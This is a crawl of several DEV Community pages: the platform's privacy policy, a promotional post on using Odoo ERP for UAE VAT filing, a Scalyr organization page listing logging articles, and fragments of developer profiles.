read I turned an old phone into a Linux homelab kamaaaal kamaaaal kamaaaal Follow Dec 21 '25 I turned an old phone into a Linux homelab # linux # kubernetes # homelab # devops 3 reactions Comments 2 comments 3 min read Java on Ubuntu: Installation, Setup, and First Steps Javier Jimenez Javier Jimenez Javier Jimenez Follow Dec 19 '25 Java on Ubuntu: Installation, Setup, and First Steps # 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DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Design Community Close Privacy Policy Last Updated: September 01, 2023 This Privacy Policy is designed to help you understand how DEV Community Inc. (" DEV ," " we ," or " us ") collects, use, and discloses your personal information. What's With the Defined Terms? You'll notice that some words appear in quotes in this Privacy Policy. They're called "defined terms," and we use them so that we don't have to repeat the same language again and again. They mean the same thing in every instance, to help us make sure that this Privacy Policy is consistent. We've included the defined terms throughout because we want it to be easy for you to read them in context. 1. WHAT DOES THIS PRIVACY POLICY APPLY TO? 2. PERSONAL INFORMATION WE COLLECT 3. HOW WE USE YOUR INFORMATION 4. HOW WE DISCLOSE YOUR INFORMATION 5. YOUR PRIVACY CHOICES AND RIGHTS 6. INTERNATIONAL DATA TRANSFERS 7. RETENTION OF PERSONAL INFORMATION 8. SUPPLEMENTAL DISCLOSURES FOR CALIFORNIA RESIDENTS 9. SUPPLEMENTAL NOTICE FOR NEVADA RESIDENTS 10. CHILDREN'S INFORMATION 11. OTHER PROVISIONS 12. CONTACT US 1. WHAT DOES THIS PRIVACY POLICY APPLY TO? This Privacy Policy applies to personal information processed by us, including on our websites, mobile applications, and other online or offline offerings — basically anything we do. To make this Privacy Policy easier to read, our websites, mobile applications, and other offerings are all collectively called the " Services. " Beyond this Privacy Policy, your use of the Services is subject to our DEV Community Terms and our Forem Terms. The Services include both our own community forum at https://www.dev.to (the " DEV Community ") and the open source tool we provide called " Forem ," available at https://www.forem.com which allows our customers to create and operate their own online forums. We collect personal information from two categories of people: (1) our customers, who use Forem and our hosting services to run and host their own forums (we'll call them " Forem Operators "), and (2) the people who interact with DEV-hosted forums, including forums provided by Forem Operators utilizing Forem and separately our own DEV Community (we'll call them " Users "). An Important Note for Users Since we provide hosting services for Forem Operators, technically we also process your information on their behalf. That processing is governed by the contracts that we have in place with each Forem Operator, not this Privacy Policy. In other words, when you share your data on a DEV-hosted forum operated by a Forem Operator, we at DEV are basically just the "pipes" — we process the data on behalf of the Forem Operator, but don't do anything with it ourselves beyond what we're required to do under our contract (and by law). So, if you post your information on a DEV-powered forum provided by a Forem Operator, that Forem Operator's privacy policy applies, and any questions or requests relating to your data on that service should be directed to that Forem Operator, not us. Likewise, if you use our mobile application, you may also interact with forums that use DEV's open-source tools but do all their hosting and data collection themselves. For those forums, we at DEV have no access to your data, so be sure to read the privacy policy of any third-party hosted forum before posting. 2. PERSONAL INFORMATION WE COLLECT The categories of personal information we collect depend on whether you're a User or Forem Operator, how you interact with us, our Services, and the requirements of applicable law. Breaking it down, we collect three types of information: (1) information that you provide to us directly, (2) information we obtain automatically when you use our Services, and (3) information we get about you from other sources (such as third-party services and organizations). More details are below. A. Information You Provide to Us Directly We may collect the following personal information that you provide to us. Account Creation (for Forem Operators): We'll require your name and email address to get started, as well as some details about the Forem you want to run, such as: whether you're running the Forem on your own behalf or as part of an organization, and details about the community you want to support (how big is it, what topics does it cover, where do members currently communicate, how/if the community earns money, whether the community is open, invite-only or paid, any existing social media accounts, etc.) You'll need to tell us a bit about your personal coding background, and you'll have the option to provide your DEV username as well, if you are a member of the DEV.to community. Account Creation (for Users) : We collect name and email address from users that create an account on DEV Community. For other forums created by Forem Operators using Forem, the Forem Operator determines what information is required for User account creation for their respective forums. Interactive Features (for Users) . Like any other social network, both we and other Users of our Services may collect personal information that you submit or make available through our interactive features (e.g., messaging and chat features, commenting functionalities, forums, blogs, posts, and other social media pages). While we do have private messages that are only between you and the person you're messaging (as well as us and the Forem Operator, as applicable), any information you provide using the public sharing features of the Services, such as the information you post to your public profile or the topics you follow is public, including to recruiters and prospective employers, and is not subject to any of the privacy protections we mention in this Privacy Policy except where legally required. Please exercise caution before revealing any information that may identify you in the real world to others. Purchases . If you buy stuff on our shop site https://shop.dev.to/ (as either a User or Forem Operator), or otherwise if you pay us in connection with your use of the Forem service, we may collect personal information and details associated with your purchases, including payment information. Any payments made via our Services are processed by third-party payment processors, such as Stripe, Shopify, and PayPal. We do not directly collect or store any payment card information entered through our Services, but may receive information associated with your payment card information (e.g., your billing details). Your Communications with Us (Users and Forem Operators) . We may collect personal information, such as email address, phone number, or mailing address when you request information about our Services, register for our newsletter or loyalty program, request customer or technical support, apply for a job, or otherwise communicate with us. Surveys . We may contact you to participate in surveys. If you decide to participate, you may be asked to provide certain information, which may include personal information (for example, your home address). Sweepstakes or Contests . We may collect personal information you provide for any sweepstakes or contests that we offer. In some jurisdictions, we are required to publicly share information of sweepstakes and contest winners. Conferences, Trade Shows, and Other Events . We may collect personal information from individuals when we attend conferences, trade shows, and other events. Business Development and Strategic Partnerships . We may collect personal information from individuals and third parties to assess and pursue potential business opportunities. Job Applications . We may post job openings and opportunities on our Services. If you reply to one of these postings by submitting your application, CV and/or cover letter to us, we will collect and use your information to assess your qualifications. B. Information Collected Automatically We may collect personal information automatically when you use our Services: Automatic Data Collection . We may collect certain information automatically when you use our Services, such as your Internet protocol (IP) address, user settings, MAC address, cookie identifiers, mobile carrier, mobile advertising and other unique identifiers, browser or device information, location information (including approximate location derived from IP address), and Internet service provider. We may also automatically collect information regarding your use of our Services, such as pages that you visit before, during and after using our Services, information about the links you click, the types of content you interact with, the frequency and duration of your activities, and other information about how you use our Services. In addition, we may collect information that other people provide about you when they use our Services, including information about you when they tag you in their posts. Cookies, Pixel Tags/Web Beacons, and Other Technologies . We, as well as third parties that provide content, advertising, or other functionality on our Services, may use cookies, pixel tags, local storage, and other technologies (" Technologies ") to automatically collect information through your use of our Services. Cookies . Cookies are small text files placed in device browsers that store preferences and facilitate and enhance your experience. Pixel Tags/Web Beacons . A pixel tag (also known as a web beacon) is a piece of code embedded in our Services that collects information about engagement on our Services. The use of a pixel tag allows us to record, for example, that a user has visited a particular web page or clicked on a particular advertisement. We may also include web beacons in e-mails to understand whether messages have been opened, acted on, or forwarded. Our uses of these Technologies fall into the following general categories: Operationally Necessary . This includes Technologies that allow you access to our Services, applications, and tools that are required to identify irregular website behavior, prevent fraudulent activity and improve security or that allow you to make use of our functionality. Performance-Related . We may use Technologies to assess the performance of our Services, including as part of our analytic practices to help us understand how individuals use our Services ( see Analytics below ). Functionality-Related . We may use Technologies that allow us to offer you enhanced functionality when accessing or using our Services. This may include identifying you when you sign into our Services or keeping track of your specified preferences, interests, or past items viewed. Analytics . We may use Technologies and other third-party tools to process analytics information on our Services. Some of our analytics partners include Google Analytics. For more information,please visit Google Analytics' Privacy Policy . To learn more about how to opt-out of Google Analytics' use of your information, please click here . Social Media Platforms . Our Services may contain social media buttons such as Twitter, Facebook, GitHub, Instagram, and Twitch (that might include widgets such as the "share this" button or other interactive mini programs). These features may collect your IP address, which page you are visiting on our Services, and may set a cookie to enable the feature to function properly. Your interactions with these platforms are governed by the privacy policy of the company providing it. See the "Your Privacy Choices and Rights" section below to understand your choices regarding these Technologies. C. Information Collected from Other Sources We may obtain information about you from other sources, including through third-party services and organizations. For example, if you access our Services through a third-party application, such as an app store, a third-party login service (e.g., through Twitter, Apple, or GitHub), or a social networking site, we may collect whatever information about you from that third-party application that you have made available via your privacy settings. 3. HOW WE USE YOUR INFORMATION We use your information for a variety of business purposes, including to provide our Services, for administrative purposes, and to market our products and Services, as described below. A. Provide Our Services We use your information to fulfill our contract with you and provide you with our Services, such as: Managing your information and accounts; Providing access to certain areas, functionalities, and features of our Services; Answering requests for customer or technical support; Communicating with you about your account, activities on our Services, and policy changes; Processing your financial information and other payment methods for products or Services purchased; Processing applications if you apply for a job we post on our Services; and Allowing you to register for events. B. Administrative Purposes We use your information for various administrative purposes, such as: Pursuing our legitimate interests such as direct marketing, research and development (including marketing research), network and information security, and fraud prevention; Detecting security incidents, protecting against malicious, deceptive, fraudulent or illegal activity, and prosecuting those responsible for that activity; Measuring interest and engagement in our Services, including for usage-based billing purposes; Short-term, transient use, such as contextual customization of ads; Improving, optimizing, upgrading, or enhancing our Services; Developing new products and Services; Ensuring internal quality control and safety; Authenticating and verifying individual identities, including requests to exercise your rights under this policy; Debugging to identify and repair errors with our Services; Auditing relating to interactions, transactions and other compliance activities; Enforcing our agreements and policies; and Complying with our legal obligations. C. Marketing and Advertising our Products and Services We may use your personal information to tailor and provide you with content and advertisements for our Services, such as via email. If you have any questions about our marketing practices, you may contact us at any time as set forth in the "Contact Us" section below. D. Other Purposes We also use your information for other purposes as requested by you or as permitted by applicable law. Consent . We may use personal information for other purposes that are clearly disclosed to you at the time you provide personal information or with your consent. Automated Decision Making. We may engage in automated decision making, including profiling, such as to suggest topics or other Users for you to follow. DEV's processing of your personal information will not result in a decision based solely on automated processing that significantly affects you unless such a decision is necessary as part of a contract we have with you, we have your consent, or we are permitted by law to engage in such automated decision making. If you have questions about our automated decision making, you may contact us as set forth in the "Contact Us" section below. De-identified and Aggregated Information . We may use personal information and other information about you to create de-identified and/or aggregated information, such as de-identified demographic information, information about the device from which you access our Services, or other analyses we create. For example, we may collect system-wide information to ensure availability of the platform, or measure aggregate data trends to analyze and optimize our Services. Share Content with Friends or Colleagues. Our Services may offer various tools and functionalities. For example, we may allow you to provide information about your friends through our referral services. Our referral services may allow you to forward or share certain content with a friend or colleague, such as an email inviting your friend to use our Services. Please only share with us contact information of people with whom you have a relationship (e.g., relative, friend neighbor, or co-worker). 4. HOW WE DISCLOSE YOUR INFORMATION We disclose your information to third parties for a variety of business purposes, including to provide our Services, to protect us or others, or in the event of a major business transaction such as a merger, sale, or asset transfer, as described below. A. Disclosures to Provide our Services The categories of third parties with whom we may share your information are described below. Service Providers . We may share your personal information with our third-party service providers who use that information to help us provide our Services. This includes service providers that provide us with IT support, hosting, payment processing, customer service, and related services. For example, our Shop site is run by Shopify, who handle your shipping details on our behalf. Business Partners . We may share your personal information with business partners to provide you with a product or service you have requested. We may also share your personal information to business partners with whom we jointly offer products or services. Other Users . As described above in the "Personal Information We Collect" section of this Privacy Policy, our Service allows Users to share their profiles, and any posts, chats, etc. with other Users and with the general public, including to those who do not use our Services. APIs/SDKs . We may use third-party Application Program Interfaces ("APIs") and Software Development Kits ("SDKs") as part of the functionality of our Services. For more information about our use of APIs and SDKs, please contact us as set forth in the "Contact Us" section below. B . Disclosures to Protect Us or Others We may access, preserve, and disclose any information we store associated with you to external parties if we, in good faith, believe doing so is required or appropriate to: comply with law enforcement or national security requests and legal process, such as a court order or subpoena; protect your, our, or others' rights, property, or safety; enforce our policies or contracts; collect amounts owed to us; or assist with an investigation or prosecution of suspected or actual illegal activity. C. Disclosure in the Event of Merger, Sale, or Other Asset Transfers If we are involved in a merger, acquisition, financing due diligence, reorganization, bankruptcy, receivership, purchase or sale of assets, or transition of service to another provider, your information may be sold or transferred as part of such a transaction, as permitted by law and/or contract. 5. YOUR PRIVACY CHOICES AND RIGHTS Your Privacy Choices . The privacy choices you may have about your personal information are determined by applicable law and are described below. Email Communications . If you receive an unwanted email from us, you can use the unsubscribe link found at the bottom of the email to opt out of receiving future emails. Note that you will continue to receive transaction-related emails regarding products or Services you have requested. We may also send you certain non-promotional communications regarding us and our Services, and you will not be able to opt out of those communications (e.g., communications regarding our Services or updates to our Terms or this Privacy Policy). Mobile Devices . We may send you push notifications through our mobile application. You may opt out from receiving these push notifications by changing the settings on your mobile device. "Do Not Track." Do Not Track (" DNT ") is a privacy preference that users can set in certain web browsers. Please note that we do not respond to or honor DNT signals or similar mechanisms transmitted by web browsers. Cookies and Interest-Based Advertising . You may stop or restrict the placement of Technologies on your device or remove them by adjusting your preferences as your browser or device permits. However, if you adjust your preferences, our Services may not work properly. Please note that cookie-based opt-outs are not effective on mobile applications. Please note you must separately opt out in each browser and on each device. Your Privacy Rights . In accordance with applicable law, you may have the right to: Access Personal Information about you, including: (i) confirming whether we are processing your personal information; (ii) obtaining access to or a copy of your personal information; Request Correction of your personal information where it is inaccurate, incomplete or outdated. In some cases, we may provide self-service tools that enable you to update your personal information; Request Deletion, Anonymization or Blocking of your personal information when processing is based on your consent or when processing is unnecessary, excessive or noncompliant; Request Restriction of or Object to our processing of your personal information when processing is noncompliant; Withdraw Your Consent to our processing of your personal information. If you refrain from providing personal information or withdraw your consent to processing, some features of our Service may not be available; Request Data Portability and Receive an Electronic Copy of Personal Information that You Have Provided to Us; Be Informed about third parties with which your personal information has been shared; and Request the Review of Decisions Taken Exclusively Based on Automated Processing if such decisions could affect your data subject rights. If you would like to exercise any of these rights, please contact us as set forth in "Contact Us" below. We will process such requests in accordance with applicable laws. 6. INTERNATIONAL DATA TRANSFERS All information processed by us may be transferred, processed, and stored anywhere in the world, including, but not limited to, the United States or other countries, which may have data protection laws that are different from the laws where you live. We always strive to safeguard your information consistent with the requirements of applicable laws. 7. RETENTION OF PERSONAL INFORMATION We store the personal information we collect as described in this Privacy Policy for as long as you use our Services or as necessary: to fulfill the purpose or purposes for which it was collected, to provide our Services, to resolve disputes, to establish legal defenses, to conduct audits, to pursue legitimate business purposes, to enforce our agreements, and to comply with applicable laws. 8. SUPPLEMENTAL DISCLOSURES FOR CALIFORNIA RESIDENTS Refer-a-Friend and Similar Incentive Programs . As described above in the How We Use Your Personal Information section ("Share Content with Friends or Colleagues" subsection), we may offer referral programs or other incentivized data collection programs. For example, we may offer incentives to you such as discounts or promotional items or credit in connection with these programs, wherein you provide your personal information in exchange for a reward, or provide personal information regarding your friends or colleagues (such as their email address) and receive rewards when they sign up to use our Services. (The referred party may also receive rewards for signing up via your referral.) These programs are entirely voluntary and allow us to grow our business and provide additional benefits to you. The value of your data to us depends on how you ultimately use our Services, whereas the value of the referred party's data to us depends on whether the referred party ultimately becomes a User or Forem Operator and uses our Services. Said value will be reflected in the incentive offered in connection with each program. Accessibility . This Privacy Policy uses industry-standard technologies and was developed in line with the World Wide Web Consortium's Web Content Accessibility Guidelines, version 2.1* . * If you wish to print this policy, please do so from your web browser or by saving the page as a PDF. California Shine the Light . The California "Shine the Light" law permits users who are California residents to request and obtain from us once a year, free of charge, a list of the third parties to whom we have disclosed their personal information (if any) for their direct marketing purposes in the prior calendar year, as well as the type of personal information disclosed to those parties. Right for Minors to Remove Posted Content . Where required by law, California residents under the age of 18 may request to have their posted content or information removed from the publicly-viewable portions of the Services by contacting us directly as set forth in the "Contact Us" section below or by logging into their account and removing the content or information using our self-service tools. 9. SUPPLEMENTAL NOTICE FOR NEVADA RESIDENTS If you are a resident of Nevada, you have the right to opt-out of the sale of certain Personal Information to third parties who intend to license or sell that Personal Information. You can exercise this right by contacting us as set forth in the "Contact Us\" section below with the subject line "Nevada Do Not Sell Request" and providing us with your name and the email address associated with your account. Please note that we do not currently sell your Personal Information as sales are defined in Nevada Revised Statutes Chapter 603A. If you have any questions, please contact us as set forth below. 10. CHILDREN'S INFORMATION The Services are not directed to children under 13 (or other age as required by local law), and we do not knowingly collect personal information from children. If you are a parent or guardian and believe your child has uploaded personal information to our site without your consent, you may contact us as described in the "Contact Us" section below. If we become aware that a child has provided us with personal information in violation of applicable law, we will delete any personal information we have collected, unless we have a legal obligation to keep it, and terminate the child's account if applicable. 11. OTHER PROVISIONS Third-Party Websites or Applications . The Services may contain links to other websites or applications, and other websites or applications may reference or link to our Services. These third-party services are not controlled by us. We encourage our users to read the privacy policies of each website and application with which they interact. We do not endorse, screen or approve, and are not responsible for, the privacy practices or content of such other websites or applications. Providing personal information to third-party websites or applications is at your own risk. Changes to Our Privacy Policy . We may revise this Privacy Policy from time to time in our sole discretion. If there are any material changes to this Privacy Policy, we will notify you as required by applicable law. You understand and agree that you will be deemed to have accepted the updated Privacy Policy if you continue to use our Services after the new Privacy Policy takes effect. 12. CONTACT US If you have any questions about our privacy practices or this Privacy Policy, or to exercise your rights as detailed in this Privacy Policy, please contact us at: support@dev.to . 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Design Community — Web design, graphic design and everything in-between Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Design Community © 2016 - 2026. We're a place where designers share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:49:26 |
https://dev.to/decision_intelligent/how-odoo-erp-simplifies-vat-filing-for-uae-businesses-decision-intelligent-26i2#main-content | How Odoo ERP Simplifies VAT Filing for UAE Businesses | Decision Intelligent - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse DECISION INTELLIGENT Posted on Jan 5 How Odoo ERP Simplifies VAT Filing for UAE Businesses | Decision Intelligent # ai # decisionintelligent # odoo # erp Since the introduction of Value Added Tax (VAT) in the UAE, businesses are required to maintain accurate financial records, submit timely VAT returns, and comply with Federal Tax Authority (FTA) regulations . While VAT compliance can be complex and time-consuming when handled manually, modern ERP systems like Odoo ERP make the process significantly easier. At Decision Intelligent Software Trading L.L.C , we help UAE businesses streamline VAT compliance using Odoo ERP , ensuring accuracy, transparency, and peace of mind. This article explains how Odoo ERP simplifies VAT filing for UAE businesses and why it's the preferred solution for growing companies. Understanding VAT Challenges for UAE Businesses Many businesses in the UAE face common VAT-related challenges, including: Manual invoice tracking and data entry errors Incorrect VAT calculations (5% standard rate) Difficulty separating taxable, zero-rated, and exempt supplies Incomplete audit trails Time-consuming VAT return preparation Risk of penalties due to late or incorrect filings Without an integrated system, VAT compliance often becomes a monthly headache rather than a smooth process. What Is Odoo ERP? Odoo ERP is a comprehensive, modular enterprise resource planning system that integrates: Accounting & Finance Sales & Purchase Management Inventory & Warehousing CRM & Operations For UAE businesses, Odoo offers localized VAT features that align with FTA requirements, making it one of the most efficient ERP solutions for VAT compliance. How Odoo ERP Simplifies VAT Filing in the UAE 1. Automated VAT Calculation Odoo automatically calculates VAT at 5% on sales and purchases based on predefined tax rules. No manual calculations Reduced human error Consistent tax application across all transactions Each invoice, bill, or credit note automatically reflects the correct VAT amount. 2. VAT-Compliant Invoicing Odoo generates FTA-compliant tax invoices , including: TRN (Tax Registration Number) VAT amount clearly displayed Taxable amount breakdown Invoice date and unique number This ensures every invoice issued meets UAE VAT regulations without additional formatting work. 3. Real-Time VAT Reporting With Odoo ERP, businesses can access real-time VAT reports , including: VAT on sales (output tax) VAT on purchases (input tax) VAT payable or refundable Decision-makers can instantly view VAT liabilities, helping with better cash flow planning. 4. FTA-Ready VAT Return Reports Odoo generates VAT return reports aligned with the UAE FTA format, making it easier to: Prepare VAT returns Validate figures before submission Reduce dependency on spreadsheets With Decision Intelligent's Odoo configuration, reports are structured to match FTA Form 201 , minimizing errors during filing. 5. Centralized Record Keeping for Audits FTA requires businesses to retain VAT records for at least 5 years. Odoo ERP securely stores: Invoices Bills Credit notes VAT reports Transaction history This creates a clear audit trail , making VAT audits stress-free and transparent. 6. Handling Multiple VAT Scenarios Odoo supports different VAT scenarios, including: Standard-rated supplies Zero-rated supplies Exempt transactions Imports and reverse charge mechanisms Decision Intelligent customizes Odoo to ensure your VAT setup reflects your exact business operations. Why UAE Businesses Choose Decision Intelligent for Odoo VAT Setup At Decision Intelligent Software Trading L.L.C , we go beyond basic ERP implementation. We offer: ✅ UAE VAT-compliant Odoo configuration ✅ Customized tax rules based on your industry ✅ VAT reporting optimization ✅ User training for finance teams ✅ Ongoing support & compliance guidance Our consultants ensure your ERP system works with your business , not against it. Industries That Benefit Most from Odoo VAT Automation Odoo VAT features are especially valuable for: Trading companies Retail & eCommerce businesses Manufacturing firms Service-based companies Restaurants & hospitality Real estate & contracting companies Each industry has unique VAT requirements - and Odoo adapts accordingly. Common Mistakes Avoided with Odoo ERP By using Odoo ERP, businesses avoid: ❌ Incorrect VAT calculations ❌ Missing VAT details on invoices ❌ Inconsistent reporting ❌ Manual spreadsheet errors ❌ Late or inaccurate VAT filings Automation significantly reduces compliance risk. VAT compliance doesn't have to be complicated. With Odoo ERP , UAE businesses can automate VAT calculations, generate compliant invoices, and prepare accurate VAT returns effortlessly. At Decision Intelligent Software Trading L.L.C , we help businesses implement VAT-ready Odoo ERP solutions that save time, reduce risk, and support sustainable growth. Ready to Simplify Your VAT Filing? 👉 Book a free Odoo consultation with Decision Intelligent 📩 info@decisionintelligent.com 🌐 decisionintelligent.com 👉 Call/Whatsapp: +971505169693 / +971585703015 Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse DECISION INTELLIGENT Follow We empower organizations across industries to harness the power of artificial intelligence and make informed, data-backed decisions that drive success. Location Dubai, United Arab Emirates Joined Nov 18, 2025 More from DECISION INTELLIGENT UAE VAT & Corporate Tax Compliance with Odoo ERP | Decision Intelligent # ai # decisionintelligent # odooerp # uaetax Cloud vs On-Prem ERP: What Decision Intelligent Recommends for SMEs # decisionintelligent # odooerp # ai # sme Odoo for Real Estate: How Decision Intelligent Helps Agencies Automate Operations # decisionintelligent # ai # odoo # realestate 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://forem.com/scalyr | Scalyr - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow Organization actions Scalyr Built by engineers, for engineers Scalyr is the log management platform built to handle the scale and complexity of modern architectures. Scalyr changes the dynamics of delivering applications by allowing engineers to quickly troubleshoot problems. Location San mateo, CA Joined Joined on Jun 18, 2019 Twitter logo GitHub logo External link icon Support email info@scalyr.com Meet the team Post 40 posts published Member 16 members Java Exceptions and How to Log Them Securely Erik Dietrich Erik Dietrich Erik Dietrich Follow May 12 '20 Java Exceptions and How to Log Them Securely # java # logging 10 reactions Comments Add Comment 11 min read Get Started Quickly With Java Logging Carlos Schults Carlos Schults Carlos Schults Follow May 5 '20 Get Started Quickly With Java Logging # logging # java 4 reactions Comments Add Comment 18 min read Creating an Audit Trail for Your Business Erik Dietrich Erik Dietrich Erik Dietrich Follow Apr 28 '20 Creating an Audit Trail for Your Business # business # audit # logging 5 reactions Comments 1 comment 6 min read Containers: Benefits and Making a Business Case Lou (🚀 Open Up The Cloud ☁️) Lou (🚀 Open Up The Cloud ☁️) Lou (🚀 Open Up The Cloud ☁️) Follow Apr 21 '20 Containers: Benefits and Making a Business Case # containers 4 reactions Comments Add Comment 14 min read What Goes Into Log Analysis? Erik Dietrich Erik Dietrich Erik Dietrich Follow Apr 14 '20 What Goes Into Log Analysis? # logging # programming 2 reactions Comments Add Comment 6 min read What Is Serverless Architecture and When Should You Use It? Samuel James Samuel James Samuel James Follow Apr 7 '20 What Is Serverless Architecture and When Should You Use It? # serverless 5 reactions Comments Add Comment 9 min read Choosing Among Log Management Tools Erik Dietrich Erik Dietrich Erik Dietrich Follow Mar 31 '20 Choosing Among Log Management Tools # logging # devops 1 reaction Comments Add Comment 6 min read How to Merge Log Files Eric Goebelbecker Eric Goebelbecker Eric Goebelbecker Follow Mar 24 '20 How to Merge Log Files # logging 5 reactions Comments Add Comment 13 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account | 2026-01-13T08:49:26 |
https://dev.to/ezzahirtaha | EZZAHIR Taha - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Close Follow User actions EZZAHIR Taha I am a full-stack developer with a passion for creating dynamic and interactive web applications. Location Casablanca, Morocco Joined Joined on Feb 10, 2023 github website Education University Work Junior Full stack Web Developer More info about @ezzahirtaha Badges Two Year Club This badge celebrates the longevity of those who have been a registered member of the DEV Community for at least two years. Got it Close Writing Debut Awarded for writing and sharing your first DEV post! Continue sharing your work to earn the 4 Week Writing Streak Badge. Got it Close One Year Club This badge celebrates the longevity of those who have been a registered member of the DEV Community for at least one year. Got it Close 1 Week Community Wellness Streak For actively engaging with the community by posting at least 2 comments in a single week. Got it Close Available for I am open to collaborations in the form of freelance Post 7 posts published Comment 4 comments written Tag 13 tags followed Bun: A new JavaScript runtime for the modern era EZZAHIR Taha EZZAHIR Taha EZZAHIR Taha Follow Sep 15 '23 Bun: A new JavaScript runtime for the modern era # bunjs # javascript # node # programming 2 reactions Comments Add Comment 2 min read Want to connect with EZZAHIR Taha? Create an account to connect with EZZAHIR Taha. You can also sign in below to proceed if you already have an account. Create Account Already have an account? Sign in WSL Error: Failed to Execute Process and Get User ID EZZAHIR Taha EZZAHIR Taha EZZAHIR Taha Follow May 16 '23 WSL Error: Failed to Execute Process and Get User ID # linux # windows # docker # devops 4 reactions Comments Add Comment 1 min read Understanding the React Component Lifecycle! EZZAHIR Taha EZZAHIR Taha EZZAHIR Taha Follow Apr 10 '23 Understanding the React Component Lifecycle! # react # javascript # webdev # frontend 2 reactions Comments 1 comment 1 min read A Beginner's Guide to React Redux 